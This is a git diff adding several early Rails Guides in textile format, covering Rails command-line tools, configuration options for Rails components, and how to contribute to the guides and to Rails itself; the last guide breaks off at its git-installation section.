+We can create new high scores (55,160 on Space Invaders!)
+
+h4. +console+
+
+The +console+ command lets you interact with your Rails application from the command line. On the underside, +script/console+ uses IRB, so if you've ever used it, you'll be right at home. This is useful for testing out quick ideas with code and changing data server-side without touching the website.
+
+h4. +dbconsole+
+
++dbconsole+ figures out which database you're using and drops you into whichever command line interface you would use with it (and figures out the command line parameters to give to it, too!). It supports MySQL, PostgreSQL, SQLite and SQLite3.
+
+h4. +plugin+
+
+The +plugin+ command simplifies plugin management; think a miniature version of the Gem utility. Let's walk through installing a plugin. You can call the sub-command *discover*, which sifts through repositories looking for plugins, or call *source* to add a specific repository of plugins, or you can specify the plugin location directly.
+
+Let's say you're creating a website for a client who wants a small accounting system. Every event having to do with money must be logged, and must never be deleted. Wouldn't it be great if we could override the behavior of a model to never actually take its record out of the database, but *instead*, just set a field?
+
+There is such a thing! The plugin we're installing is called "acts_as_paranoid", and it lets models implement a "deleted_at" column that gets set when you call destroy. Later, when calling find, the plugin will tack on a database check to filter out "deleted" things.
+
+<shell>
+$ ./script/plugin install http://svn.techno-weenie.net/projects/plugins/acts_as_paranoid
++ ./CHANGELOG
++ ./MIT-LICENSE
+...
+...
+</shell>
+
+h4. +runner+
+
+<tt>runner</tt> runs Ruby code in the context of Rails non-interactively. For instance:
+
+<shell>
+$ ./script/runner "Model.long_running_method"
+</shell>
+
+h4. +destroy+
+
+Think of +destroy+ as the opposite of +generate+. It'll figure out what generate did, and undo it. Believe you-me, the creation of this tutorial used this command many times!
+
+<shell>
+$ ./script/generate model Oops
+ exists app/models/
+ exists test/unit/
+ exists test/fixtures/
+ create app/models/oops.rb
+ create test/unit/oops_test.rb
+ create test/fixtures/oops.yml
+ exists db/migrate
+ create db/migrate/20081221040817_create_oops.rb
+$ ./script/destroy model Oops
+ notempty db/migrate
+ notempty db
+ rm db/migrate/20081221040817_create_oops.rb
+ rm test/fixtures/oops.yml
+ rm test/unit/oops_test.rb
+ rm app/models/oops.rb
+ notempty test/fixtures
+ notempty test
+ notempty test/unit
+ notempty test
+ notempty app/models
+ notempty app
+</shell>
+
+h4. +about+
+
+Check it: Version numbers for Ruby, RubyGems, Rails, the Rails subcomponents, your application's folder, the current Rails environment name, your app's database adapter, and schema version! +about+ is useful when you need to ask for help, check if a security patch might affect you, or when you need some stats for an existing Rails installation.
+
+<shell>
+$ ./script/about
+About your application's environment
+Ruby version 1.8.6 (i486-linux)
+RubyGems version 1.3.1
+Rails version 2.2.0
+Active Record version 2.2.0
+Action Pack version 2.2.0
+Active Resource version 2.2.0
+Action Mailer version 2.2.0
+Active Support version 2.2.0
+Edge Rails revision unknown
+Application root /home/commandsapp
+Environment development
+Database adapter sqlite3
+Database schema version 20081217073400
+</shell>
+
+h3. The Rails Advanced Command Line
+
+The more advanced uses of the command line are focused around finding useful (even surprising at times) options in the utilities, and fitting utilities to your needs and specific work flow. Listed here are some tricks up Rails' sleeve.
+
+h4. Rails with Databases and SCM
+
+When creating a new Rails application, you have the option to specify what kind of database and what kind of source code management system your application is going to use. This will save you a few minutes, and certainly many keystrokes.
+
+Let's see what a +--git+ option and a +--database=postgresql+ option will do for us:
+
+<shell>
+$ mkdir gitapp
+$ cd gitapp
+$ git init
+Initialized empty Git repository in .git/
+$ rails . --git --database=postgresql
+ exists
+ create app/controllers
+ create app/helpers
+...
+...
+ create tmp/cache
+ create tmp/pids
+ create Rakefile
+add 'Rakefile'
+ create README
+add 'README'
+ create app/controllers/application_controller_.rb
+add 'app/controllers/application_controller_.rb'
+ create app/helpers/application_helper.rb
+...
+ create log/test.log
+add 'log/test.log'
+</shell>
+
+We had to create the *gitapp* directory and initialize an empty git repository before Rails would add files it created to our repository. Let's see what it put in our database configuration:
+
+<shell>
+$ cat config/database.yml
+# PostgreSQL. Versions 7.4 and 8.x are supported.
+#
+# Install the ruby-postgres driver:
+# gem install ruby-postgres
+# On Mac OS X:
+# gem install ruby-postgres -- --include=/usr/local/pgsql
+# On Windows:
+# gem install ruby-postgres
+# Choose the win32 build.
+# Install PostgreSQL and put its /bin directory on your path.
+development:
+ adapter: postgresql
+ encoding: unicode
+ database: gitapp_development
+ pool: 5
+ username: gitapp
+ password:
+...
+...
+</shell>
+
+It also generated some lines in our database.yml configuration corresponding to our choice of PostgreSQL for database. The only catch with using the SCM options is that you have to make your application's directory first, then initialize your SCM, then you can run the +rails+ command to generate the basis of your app.
+
+h4. +server+ with Different Backends
+
+Many people have created a large number different web servers in Ruby, and many of them can be used to run Rails. Since version 2.3, Rails uses Rack to serve its webpages, which means that any webserver that implements a Rack handler can be used. This includes WEBrick, Mongrel, Thin, and Phusion Passenger (to name a few!).
+
+NOTE: For more details on the Rack integration, see "Rails on Rack":rails_on_rack.html.
+
+To use a different server, just install its gem, then use its name for the first parameter to +script/server+:
+
+<shell>
+$ sudo gem install mongrel
+Building native extensions. This could take a while...
+Building native extensions. This could take a while...
+Successfully installed gem_plugin-0.2.3
+Successfully installed fastthread-1.0.1
+Successfully installed cgi_multipart_eof_fix-2.5.0
+Successfully installed mongrel-1.1.5
+...
+...
+Installing RDoc documentation for mongrel-1.1.5...
+$ script/server mongrel
+=> Booting Mongrel (use 'script/server webrick' to force WEBrick)
+=> Rails 2.2.0 application starting on http://0.0.0.0:3000
+...
+</shell>
+
+h4. The Rails Generation: Generators
+
+INFO: For a good rundown on generators, see "Understanding Generators":http://wiki.rubyonrails.org/rails/pages/UnderstandingGenerators. A lot of its material is presented here.
+
+Generators are code that generates code. Let's experiment by building one. Our generator will generate a text file.
+
+The Rails generator by default looks in these places for available generators, where RAILS_ROOT is the root of your Rails application, like /home/foobar/commandsapp:
+
+* RAILS_ROOT/lib/generators
+* RAILS_ROOT/vendor/generators
+* Inside any plugin with a directory like "generators" or "rails_generators"
+* ~/.rails/generators
+* Inside any Gem you have installed with a name ending in "_generator"
+* Inside *any* Gem installed with a "rails_generators" path, and a file ending in "_generator.rb"
+* Finally, the builtin Rails generators (controller, model, mailer, etc.)
+
+Let's try the fourth option (in our home directory), which will be easy to clean up later:
+
+<shell>
+$ mkdir -p ~/.rails/generators/tutorial_test/templates
+$ touch ~/.rails/generators/tutorial_test/templates/tutorial.erb
+$ touch ~/.rails/generators/tutorial_test/tutorial_test_generator.rb
+</shell>
+
+We'll fill +tutorial_test_generator.rb+ out with:
+
+<ruby>
+class TutorialTestGenerator < Rails::Generator::Base
+ def initialize(*runtime_args)
+ super(*runtime_args)
+ @tut_args = runtime_args
+ end
+
+ def manifest
+ record do |m|
+ m.directory "public"
+ m.template "tutorial.erb", File.join("public", "tutorial.txt"),
+ :assigns => { :args => @tut_args }
+ end
+ end
+end
+</ruby>
+
+We take whatever args are supplied, save them to an instance variable, and literally copying from the Rails source, implement a +manifest+ method, which calls +record+ with a block, and we:
+
+* Check there's a *public* directory. You bet there is.
+* Run the ERb template called "tutorial.erb".
+* Save it into "RAILS_ROOT/public/tutorial.txt".
+* Pass in the arguments we saved through the +:assign+ parameter.
+
+Next we'll build the template:
+
+<shell>
+$ cat ~/.rails/generators/tutorial_test/templates/tutorial.erb
+I'm a template!
+
+I got assigned some args:
+<%= require 'pp'; PP.pp(args, "") %>
+</shell>
+
+Then we'll make sure it got included in the list of available generators:
+
+<shell>
+$ ./script/generate
+...
+...
+Installed Generators
+ User: tutorial_test
+</shell>
+
+SWEET! Now let's generate some text, yeah!
+
+<shell>
+$ ./script/generate tutorial_test arg1 arg2 arg3
+ exists public
+ create public/tutorial.txt
+</shell>
+
+And the result:
+
+<shell>
+$ cat public/tutorial.txt
+I'm a template!
+
+I got assigned some args:
+[["arg1", "arg2", "arg3"],
+ {:collision=>:ask,
+ :quiet=>false,
+ :generator=>"tutorial_test",
+ :command=>:create}]
+</shell>
+
+Tada!
+
+h4. Rake is Ruby Make
+
+Rake is a standalone Ruby utility that replaces the Unix utility 'make', and uses a 'Rakefile' and +.rake+ files to build up a list of tasks. In Rails, Rake is used for common administration tasks, especially sophisticated ones that build off of each other.
+
+You can get a list of Rake tasks available to you, which will often depend on your current directory, by typing +rake --tasks+. Each task has a description, and should help you find the thing you need.
+
+<shell>
+ rake --tasks
+(in /home/developer/commandsapp)
+rake db:abort_if_pending_migrations # Raises an error if there are pending migrations
+rake db:charset # Retrieves the charset for the current environment's database
+rake db:collation # Retrieves the collation for the current environment's database
+rake db:create # Create the database defined in config/database.yml for the current RAILS_ENV
+...
+...
+rake tmp:pids:clear # Clears all files in tmp/pids
+rake tmp:sessions:clear # Clears all files in tmp/sessions
+rake tmp:sockets:clear # Clears all files in tmp/sockets
+</shell>
+
+Let's take a look at some of these 80 or so rake tasks.
+
+h5. +db:+ Database
+
+The most common tasks of the +db:+ Rake namespace are +migrate+ and +create+, and it will pay off to try out all of the migration rake tasks (+up+, +down+, +redo+, +reset+). +rake db:version+ is useful when troubleshooting, telling you the current version of the database.
+
+h5. +doc:+ Documentation
+
+If you want to strip out or rebuild any of the Rails documentation (including this guide!), the +doc:+ namespace has the tools. Stripping documentation is mainly useful for slimming your codebase, like if you're writing a Rails application for an embedded platform.
+
+h5. +gems:+ Ruby gems
+
+You can specify which gems your application uses, and +rake gems:install+ will install them for you. Look at your environment.rb to learn how with the *config.gem* directive.
+
+NOTE: +gems:unpack+ will unpack, that is internalize your application's Gem dependencies by copying the Gem code into your vendor/gems directory. By doing this you increase your codebase size, but simplify installation on new hosts by eliminating the need to run +rake gems:install+, or finding and installing the gems your application uses.
+
+h5. +notes:+ Code note enumeration
+
+These tasks will search through your code for commented lines beginning with "FIXME", "OPTIMIZE", "TODO", or any custom annotation (like XXX) and show you them.
+
+h5. +rails:+ Rails-specific tasks
+
+In addition to the +gems:unpack+ task above, you can also unpack the Rails backend specific gems into vendor/rails by calling +rake rails:freeze:gems+, to unpack the version of Rails you are currently using, or +rake rails:freeze:edge+ to unpack the most recent (cutting, bleeding edge) version.
+
+When you have frozen the Rails gems, Rails will prefer to use the code in vendor/rails instead of the system Rails gems. You can "thaw" by running +rake rails:unfreeze+.
+
+After upgrading Rails, it is useful to run +rails:update+, which will update your config and scripts directories, and upgrade your Rails-specific javascript (like Scriptaculous).
+
+h5. +test:+ Rails tests
+
+INFO: A good description of unit testing in Rails is given in "A Guide to Testing Rails Applications":testing.html
+
+Rails comes with a test suite called Test::Unit. It is through the use of tests that Rails itself is so stable, and the slew of people working on Rails can prove that everything works as it should.
+
+The +test:+ namespace helps in running the different tests you will (hopefully!) write.
+
+h5. +time:+ Timezones
+
+You can list all the timezones Rails knows about with +rake time:zones:all+, which is useful just in day-to-day life.
+
+h5. +tmp:+ Temporary files
+
+The tmp directory is, like in the *nix /tmp directory, the holding place for temporary files like sessions (if you're using a file store for files), process id files, and cached actions. The +tmp:+ namespace tasks will help you clear them if you need to if they've become overgrown, or create them in case of an +rm -rf *+ gone awry.
+
+h5. Miscellaneous Tasks
+
+ +rake stats+ is great for looking at statistics on your code, displaying things like KLOCs (thousands of lines of code) and your code to test ratio.
+
+ +rake secret+ will give you a psuedo-random key to use for your session secret.
+
+ +rake routes+ will list all of your defined routes, which is useful for tracking down routing problems in your app, or giving you a good overview of the URLs in an app you're trying to get familiar with.
+
+h3. Changelog
+
+"Lighthouse ticket":http://rails.lighthouseapp.com/projects/16213/tickets/29
diff --git a/railties/guides/source/configuring.textile b/railties/guides/source/configuring.textile
new file mode 100644
index 0000000000..d97ed56eaf
--- /dev/null
+++ b/railties/guides/source/configuring.textile
@@ -0,0 +1,234 @@
+h2. Configuring Rails Applications
+
+This guide covers the configuration and initialization features available to Rails applications. By referring to this guide, you will be able to:
+
+* Adjust the behavior of your Rails applications
+* Add additional code to be run at application start time
+
+endprologue.
+
+
+h3. Locations for Initialization Code
+
+Rails offers (at least) five good spots to place initialization code:
+
+* Preinitializers
+* environment.rb
+* Environment-specific Configuration Files
+* Initializers (load_application_initializers)
+* After-Initializers
+
+h3. Using a Preinitializer
+
+Rails allows you to use a preinitializer to run code before the framework itself is loaded. If you save code in +RAILS_ROOT/config/preinitializer.rb+, that code will be the first thing loaded, before any of the framework components (Active Record, Action Pack, and so on.) If you want to change the behavior of one of the classes that is used in the initialization process, you can do so in this file.
+
+h3. Configuring Rails Components
+
+In general, the work of configuring Rails means configuring the components of Rails, as well as configuring Rails itself. The +environment.rb+ and environment-specific configuration files (such as +config/environments/production.rb+) allow you to specify the various settings that you want to pass down to all of the components. For example, the default Rails 2.3 +environment.rb+ file includes one setting:
+
+<ruby>
+config.time_zone = 'UTC'
+</ruby>
+
+This is a setting for Rails itself. If you want to pass settings to individual Rails components, you can do so via the same +config+ object:
+
+<ruby>
+config.active_record.colorize_logging = false
+</ruby>
+
+Rails will use that particular setting to configure Active Record.
+
+h4. Configuring Active Record
+
+<tt>ActiveRecord::Base</tt> includes a variety of configuration options:
+
+* +logger+ accepts a logger conforming to the interface of Log4r or the default Ruby 1.8.x Logger class, which is then passed on to any new database connections made. You can retrieve this logger by calling +logger+ on either an ActiveRecord model class or an ActiveRecord model instance. Set to nil to disable logging.
+
+* +primary_key_prefix_type+ lets you adjust the naming for primary key columns. By default, Rails assumes that primary key columns are named +id+ (and this configuration option doesn't need to be set.) There are two other choices:
+** +:table_name+ would make the primary key for the Customer class +customerid+
+** +:table_name_with_underscore+ would make the primary key for the Customer class +customer_id+
+
+* +table_name_prefix+ lets you set a global string to be prepended to table names. If you set this to +northwest_+, then the Customer class will look for +northwest_customers+ as its table. The default is an empty string.
+
+* +table_name_suffix+ lets you set a global string to be appended to table names. If you set this to +_northwest+, then the Customer class will look for +customers_northwest+ as its table. The default is an empty string.
+
+* +pluralize_table_names+ specifies whether Rails will look for singular or plural table names in the database. If set to +true+ (the default), then the Customer class will use the +customers+ table. If set to +false+, then the Customers class will use the +customer+ table.
+
+* +colorize_logging+ (true by default) specifies whether or not to use ANSI color codes when logging information from ActiveRecord.
+
+* +default_timezone+ determines whether to use +Time.local+ (if set to +:local+) or +Time.utc+ (if set to +:utc+) when pulling dates and times from the database. The default is +:local+.
+
+* +schema_format+ controls the format for dumping the database schema to a file. The options are +:ruby+ (the default) for a database-independent version that depends on migrations, or +:sql+ for a set of (potentially database-dependent) SQL statements.
+
+* +timestamped_migrations+ controls whether migrations are numbered with serial integers or with timestamps. The default is +true+, to use timestamps, which are preferred if there are multiple developers working on the same application.
+
+* +lock_optimistically+ controls whether ActiveRecord will use optimistic locking. By default this is +true+.
+
+The MySQL adapter adds one additional configuration option:
+
+* +ActiveRecord::ConnectionAdapters::MysqlAdapter.emulate_booleans+ controls whether ActiveRecord will consider all +tinyint(1)+ columns in a MySQL database to be booleans. By default this is +true+.
+
+The schema dumper adds one additional configuration option:
+
+* +ActiveRecord::SchemaDumper.ignore_tables+ accepts an array of tables that should _not_ be included in any generated schema file. This setting is ignored unless +ActiveRecord::Base.schema_format == :ruby+.
+
+h4. Configuring Action Controller
+
+<tt>ActionController::Base</tt> includes a number of configuration settings:
+
+* +asset_host+ provides a string that is prepended to all of the URL-generating helpers in +AssetHelper+. This is designed to allow moving all javascript, CSS, and image files to a separate asset host.
+
+* +consider_all_requests_local+ is generally set to +true+ during development and +false+ during production; if it is set to +true+, then any error will cause detailed debugging information to be dumped in the HTTP response. For finer-grained control, set this to +false+ and implement +local_request?+ to specify which requests should provide debugging information on errors.
+
+* +allow_concurrency+ should be set to +true+ to allow concurrent (threadsafe) action processing. Set to +false+ by default. You probably don't want to call this one directly, though, because a series of other adjustments need to be made for threadsafe mode to work properly. Instead, you should simply call +config.threadsafe!+ inside your +production.rb+ file, which makes all the necessary adjustments.
+
+WARNING: Threadsafe operation in incompatible with the normal workings of development mode Rails. In particular, automatic dependency loading and class reloading are automatically disabled when you call +config.threadsafe!+.
+
+* +param_parsers+ provides an array of handlers that can extract information from incoming HTTP requests and add it to the +params+ hash. By default, parsers for multipart forms, URL-encoded forms, XML, and JSON are active.
+
+* +default_charset+ specifies the default character set for all renders. The default is "utf-8".
+
+* +logger+ accepts a logger conforming to the interface of Log4r or the default Ruby 1.8+ Logger class, which is then used to log information from Action Controller. Set to nil to disable logging.
+
+* +resource_action_separator+ gives the token to be used between resources and actions when building or interpreting RESTful URLs. By default, this is "/".
+
+* +resource_path_names+ is a hash of default names for several RESTful actions. By default, the new action is named +new+ and the edit action is named +edit+.
+
+* +request_forgery_protection_token+ sets the token parameter name for RequestForgery. Calling +protect_from_forgery+ sets it to +:authenticity_token+ by default.
+
+* +optimise_named_routes+ turns on some optimizations in generating the routing table. It is set to +true+ by default.
+
+* +use_accept_header+ sets the rules for determining the response format. If this is set to +true+ (the default) then +respond_to+ and +Request#format+ will take the Accept header into account. If it is set to false then the request format will be determined solely by examining +params[:format]+. If there is no +format+ parameter, then the response format will be either HTML or Javascript depending on whether the request is an AJAX request.
+
+* +allow_forgery_protection+ enables or disables CSRF protection. By default this is +false+ in test mode and +true+ in all other modes.
+
+* +relative_url_root+ can be used to tell Rails that you are deploying to a subdirectory. The default is +ENV['RAILS_RELATIVE_URL_ROOT']+.
+
+The caching code adds two additional settings:
+
+* +ActionController::Caching::Pages.page_cache_directory+ sets the directory where Rails will create cached pages for your web server. The default is +Rails.public_path+ (which is usually set to +RAILS_ROOT + "/public"+).
+
+* +ActionController::Caching::Pages.page_cache_extension+ sets the extension to be used when generating pages for the cache (this is ignored if the incoming request already has an extension). The default is +.html+.
+
+The dispatcher includes one setting:
+
+* +ActionController::Dispatcher.error_file_path+ gives the path where Rails will look for error files such as +404.html+. The default is +Rails.public_path+.
+
+The Active Record session store can also be configured:
+
+* +CGI::Session::ActiveRecordStore::Session.data_column_name+ sets the name of the column to use to store session data. By default it is 'data'
+
+h4. Configuring Action View
+
+There are only a few configuration options for Action View, starting with four on +ActionView::Base+:
+
+* +debug_rjs+ specifies whether RJS responses should be wrapped in a try/catch block that alert()s the caught exception (and then re-raises it). The default is +false+.
+
+* +warn_cache_misses+ tells Rails to display a warning whenever an action results in a cache miss on your view paths. The default is +false+.
+
+* +field_error_proc+ provides an HTML generator for displaying errors that come from Active Record. The default is <tt>Proc.new{ |html_tag, instance| "<div class=\"fieldWithErrors\">#{html_tag}</div>" }</tt>
+
+* +default_form_builder+ tells Rails which form builder to use by default. The default is +ActionView::Helpers::FormBuilder+.
+
+The ERB template handler supplies one additional option:
+
+* +ActionView::TemplateHandlers::ERB.erb_trim_mode+ gives the trim mode to be used by ERB. It defaults to +'-'+. See the "ERB documentation":http://www.ruby-doc.org/stdlib/libdoc/erb/rdoc/ for more information.
+
+h4. Configuring Action Mailer
+
+There are a number of settings available on +ActionMailer::Base+:
+
+* +template_root+ gives the root folder for Action Mailer templates.
+
+* +logger+ accepts a logger conforming to the interface of Log4r or the default Ruby 1.8+ Logger class, which is then used to log information from Action Mailer. Set to nil to disable logging.
+
+* +smtp_settings+ allows detailed configuration for the +:smtp+ delivery method. It accepts a hash of options, which can include any of these options:
+** +:address+ - Allows you to use a remote mail server. Just change it from its default "localhost" setting.
+** +:port+ - On the off chance that your mail server doesn't run on port 25, you can change it.
+** +:domain+ - If you need to specify a HELO domain, you can do it here.
+** +:user_name+ - If your mail server requires authentication, set the username in this setting.
+** +:password+ - If your mail server requires authentication, set the password in this setting.
+** +:authentication+ - If your mail server requires authentication, you need to specify the authentication type here. This is a symbol and one of +:plain+, +:login+, +:cram_md5+.
+
+* +sendmail_settings+ allows detailed configuration for the +sendmail+ delivery method. It accepts a hash of options, which can include any of these options:
+** +:location+ - The location of the sendmail executable. Defaults to +/usr/sbin/sendmail+.
+** +:arguments+ - The command line arguments. Defaults to +-i -t+.
+
+* +raise_delivery_errors+ specifies whether to raise an error if email delivery cannot be completed. It defaults to +true+.
+
+* +delivery_method+ defines the delivery method. The allowed values are +:smtp+ (default), +:sendmail+, and +:test+.
+
+* +perform_deliveries+ specifies whether mail will actually be delivered. By default this is +true+; it can be convenient to set it to +false+ for testing.
+
+* +default_charset+ tells Action Mailer which character set to use for the body and for encoding the subject. It defaults to +utf-8+.
+
+* +default_content_type+ specifies the default content type used for the main part of the message. It defaults to "text/plain"
+
+* +default_mime_version+ is the default MIME version for the message. It defaults to +1.0+.
+
+* +default_implicit_parts_order+ - When a message is built implicitly (i.e. multiple parts are assembled from templates
+which specify the content type in their filenames) this variable controls how the parts are ordered. Defaults to +["text/html", "text/enriched", "text/plain"]+. Items that appear first in the array have higher priority in the mail client
+and appear last in the mime encoded message.
+
+h4. Configuring Active Resource
+
+There is a single configuration setting available on +ActiveResource::Base+:
+
+<tt>logger</tt> accepts a logger conforming to the interface of Log4r or the default Ruby 1.8+ Logger class, which is then used to log information from Active Resource. Set to nil to disable logging.
+
+h4. Configuring Active Support
+
+There are a few configuration options available in Active Support:
+
+* +ActiveSupport::BufferedLogger.silencer+ is set to +false+ to disable the ability to silence logging in a block. The default is +true+.
+
+* +ActiveSupport::Cache::Store.logger+ specifies the logger to use within cache store operations.
+
+* +ActiveSupport::Logger.silencer+ is set to +false+ to disable the ability to silence logging in a block. The default is +true+.
+
+h4. Configuring Active Model
+
+Active Model currently has a single configuration setting:
+
+* +ActiveModel::Errors.default_error_messages+ is an array containing all of the validation error messages.
+
+h3. Using Initializers
+
+After it loads the framework plus any gems and plugins in your application, Rails turns to loading initializers. An initializer is any file of ruby code stored under +/config/initializers+ in your application. You can use initializers to hold configuration settings that should be made after all of the frameworks and plugins are loaded.
+
+NOTE: You can use subfolders to organize your initializers if you like, because Rails will look into the whole file hierarchy from the +initializers+ folder on down.
+
+TIP: If you have any ordering dependency in your initializers, you can control the load order by naming. For example, +01_critical.rb+ will be loaded before +02_normal.rb+.
+
+h3. Using an After-Initializer
+
+After-initializers are run (as you might guess) after any initializers are loaded. You can supply an +after_initialize+ block (or an array of such blocks) by setting up +config.after_initialize+ in any of the Rails configuration files:
+
+<ruby>
+config.after_initialize do
+ SomeClass.init
+end
+</ruby>
+
+WARNING: Some parts of your application, notably observers and routing, are not yet set up at the point where the +after_initialize+ block is called.
+
+h3. Rails Environment Settings
+
+Some parts of Rails can also be configured externally by supplying environment variables. The following environment variables are recognized by various parts of Rails:
+
+* +ENV['RAILS_ENV']+ defines the Rails environment (production, development, test, and so on) that Rails will run under.
+
+* +ENV['RAILS_RELATIVE_URL_ROOT']+ is used by the routing code to recognize URLs when you deploy your application to a subdirectory.
+
+* +ENV["RAILS_ASSET_ID"]+ will override the default cache-busting timestamps that Rails generates for downloadable assets.
+
+* +ENV["RAILS_CACHE_ID"]+ and +ENV["RAILS_APP_VERSION"]+ are used to generate expanded cache keys in Rails' caching code. This allows you to have multiple separate caches from the same application.
+
+* +ENV['RAILS_GEM_VERSION']+ defines the version of the Rails gems to use, if +RAILS_GEM_VERSION+ is not defined in your +environment.rb+ file.
+
+h3. Changelog
+
+"Lighthouse ticket":http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/28
+
+* January 3, 2009: First reasonably complete draft by "Mike Gunderloy":credits.html#mgunderloy
+* November 5, 2008: Rough outline by "Mike Gunderloy":credits.html#mgunderloy
diff --git a/railties/guides/source/contribute.textile b/railties/guides/source/contribute.textile
new file mode 100644
index 0000000000..650004bd09
--- /dev/null
+++ b/railties/guides/source/contribute.textile
@@ -0,0 +1,71 @@
+h2. Contribute to the Rails Guides
+
+Rails Guides aim to improve the Rails documentation and to make the barrier to entry as low as possible. A reasonably experienced developer should be able to use the Guides to come up to speed on Rails quickly. You can track the overall effort at the "Rails Guides Lighthouse":http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets. Our sponsors have contributed prizes for those who write an entire guide, but there are many other ways to contribute.
+
+endprologue.
+
+h3. How to Contribute?
+
+* We have an open commit policy: anyone is welcome to contribute, but you'll need to ask for commit access.
+* PM lifo at "GitHub":http://github.com asking for "docrails":http://github.com/lifo/docrails/tree/master commit access.
+* Guides are written in Textile, and reside at railties/guides/source in the docrails project.
+* All images are in the railties/guides/images directory.
+* Sample format : "Active Record Associations":http://github.com/lifo/docrails/blob/3e56a3832415476fdd1cb963980d0ae390ac1ed3/railties/guides/source/association_basics.textile
+* Sample output : "Active Record Associations":http://guides.rails.info/association_basics.html
+* You can build the Guides during testing by running +rake guides+ in the +railties+ directory.
+
+h3. What to Contribute?
+
+* We need authors, editors, proofreaders, and translators. Adding a single paragraph of quality content to a guide is a good way to get started.
+* The easiest way to start is by improving an existing guide:
+** Improve the structure to make it more coherent
+** Add missing information
+** Correct any factual errors
+** Fix typos or improve style
+** Bring it up to date with the latest Edge Rails
+* We're also open to suggestions for entire new guides
+** Contact lifo or mikeg1a in IRC or via "email":mailto:MikeG1@larkfarm.com to get your idea approved
+** If you're the main author on a significant guide, you're eligible for the prizes
+
+h3. How to Commit
+
+* If you have a small change or typo fix, just ask lifo for commit access and commit it to the project.
+* If your change is more significant, post a patch or a message on Lighthouse, and commit after you get a +1 from lifo or mikeg1a.
+* If the guide is already marked done, you should get a +1 before pushing your changes.
+* Put [#&lt;ticket number&gt;] in your commit message to enable GitHub/Lighthouse integration.
+
+h3. Prizes
+
+For each completed guide, the lead contributor will receive all of the following prizes:
+
+* $200 from Caboose Rails Documentation Project.
+* 1 year of GitHub Micro account worth $84.
+* 1 year of RPM Basic (Production performance management) for up to 10 hosts worth 12 months x $40 per host x $10 hosts = $4800. And also, savings of $45 per host per month over list price to upgrade to advanced product.
+
+h3. Rules
+
+* Guides are licensed under a Creative Commons Attribution-Share Alike 3.0 License.
+* If you're not sure whether a guide is actively being worked on, stop by IRC and ask.
+* If the same guide writer wants to write multiple guides, that's ideally the situation we'd love to be in! However, that guide writer will only receive the cash prize for all the subsequent guides (and not the GitHub or RPM prizes).
+* Our review team will have the final say on whether the guide is complete and of good enough quality.
+
+All authors should read and follow the "Rails Guides Conventions":http://wiki.github.com/lifo/docrails/rails-guides-conventions and the "Rails API Documentation Conventions":http://wiki.github.com/lifo/docrails/rails-api-documentation-conventions.
+
+h3. Translations
+
+The translation effort for the Rails Guides is just getting underway. We know about projects to translate the Guides into Spanish, Portuguese, Polish, and French. For more details or to get involved see the "Translating Rails Guides":http://wiki.github.com/lifo/docrails/translating-rails-guides page.
+
+h3. Mailing List
+
+"Ruby on Rails: Documentation":http://groups.google.com/group/rubyonrails-docs is the mailing list for all the guides/documentation related discussions.
+
+h3. IRC Channel
+
+==#docrails @ irc.freenode.net==
+
+h3. Contact
+
+If you have any questions or need any clarification, feel free to contact:
+
+* IRC : lifo, mikeg1a or fxn in #docrails
+* Email : pratiknaik aT gmail
diff --git a/railties/guides/source/contributing_to_rails.textile b/railties/guides/source/contributing_to_rails.textile
new file mode 100644
index 0000000000..84778ed9ee
--- /dev/null
+++ b/railties/guides/source/contributing_to_rails.textile
@@ -0,0 +1,239 @@
+h2. Contributing to Rails
+
+This guide covers ways in which _you_ can become a part of the ongoing development of Rails. After reading it, you should be familiar with:
+
+* Using Lighthouse to report issues with Rails
+* Cloning edge Rails and running the test suite
+* Helping to resolve existing issues
+* Contributing to the Rails documentation
+* Contributing to the Rails code
+
+Rails is not "someone else's framework." Over the years, hundreds of people have contributed code ranging from a single character to massive architectural changes, all with the goal of making Rails better for everyone. Even if you don't feel up to writing code yet, there are a variety of other ways that you can contribute, from reporting issues to testing patches to contributing documentation.
+
+endprologue.
+
+h3. Reporting a Rails Issue
+
+Rails uses a "Lighthouse project":http://rails.lighthouseapp.com/projects/8994-ruby-on-rails/ to track issues (primarily bugs and contributions of new code). If you've found a bug in Rails, this is the place to start.
+
+NOTE: Bugs in the most recent released version of Rails are likely to get the most attention. Also, the Rails core team is always interested in feedback from those who can take the time to test _edge Rails_ (the code for the version of Rails that is currently under development). Later in this Guide you'll find out how to get edge Rails for testing.
+
+h4. Creating a Bug Report
+
+If you've found a problem in Rails, you can start by "adding a new ticket":http://rails.lighthouseapp.com/projects/8994-ruby-on-rails/tickets/new to the Rails Lighthouse. At the minimum, your ticket needs a title and descriptive text. But that's only a minimum. You should include as much relevant information as possible. You need to at least post the code sample that has the issue. Even better is to include a unit test that shows how the expected behavior is not occurring. Your goal should be to make it easy for yourself - and others - to replicate the bug and figure out a fix.
+
+You shouldn't assign the bug to a particular core developer (through the *Who's Responsible* select list) unless you know for sure which developer will be handling any patch. The core team periodically reviews issues and assigns developers and milestones to them.
+
+You should set tags for your issue. Use the "bug" tag for a bug report, and add the "patch" tag if you are attaching a patch. Try to find some relevant tags from the existing tag list (which will appear as soon as you start typing in the *Choose some tags* textbox), rather than creating new tags.
+
+Then don't get your hopes up. Unless you have a "Code Red, Mission Critical, The World is Coming to an End" kind of bug, you're creating this ticket in the hope that others with the same problem will be able to collaborate with you on solving it. Do not expect that the ticket automatically will see any activity or that others will jump to fix it. Creating a ticket like this is mostly to help yourself start on the path of fixing the problem and for others to confirm it with a "I'm having this problem too" comment.
+
+h4. Special Treatment for Security Issues
+
+If you've found a security vulnerability in Rails, please do *not* report it via a Lighthouse ticket. Lighthouse tickets are public as soon as they are entered. Instead, you should use the dedicated email address "security@rubyonrails.org":mailto:security@rubyonrails.org to report any vulnerabilities. This alias is monitored and the core team will work with you to quickly and completely address any such vulnerabilities.
+
+h4. What About Feature Requests?
+
+Please don't put "feature request" tickets into Lighthouse. If there's a new feature that you want to see added to Rails, you'll need to write the code yourself - or convince someone else to partner with you to write the code. Later in this guide you'll find detailed instructions for proposing a patch to Rails. If you enter a wishlist item in Lighthouse with no code, you can expect it to be marked "invalid" as soon as it's reviewed.
+
+h3. Running the Rails Test Suite
+
+To move on from submitting bugs to helping resolve existing issues or contributing your own code to Rails, you _must_ be able to run the Rails test suite. In this section of the guide you'll learn how to set up the tests on your own computer.
+
+h4. Install git
+
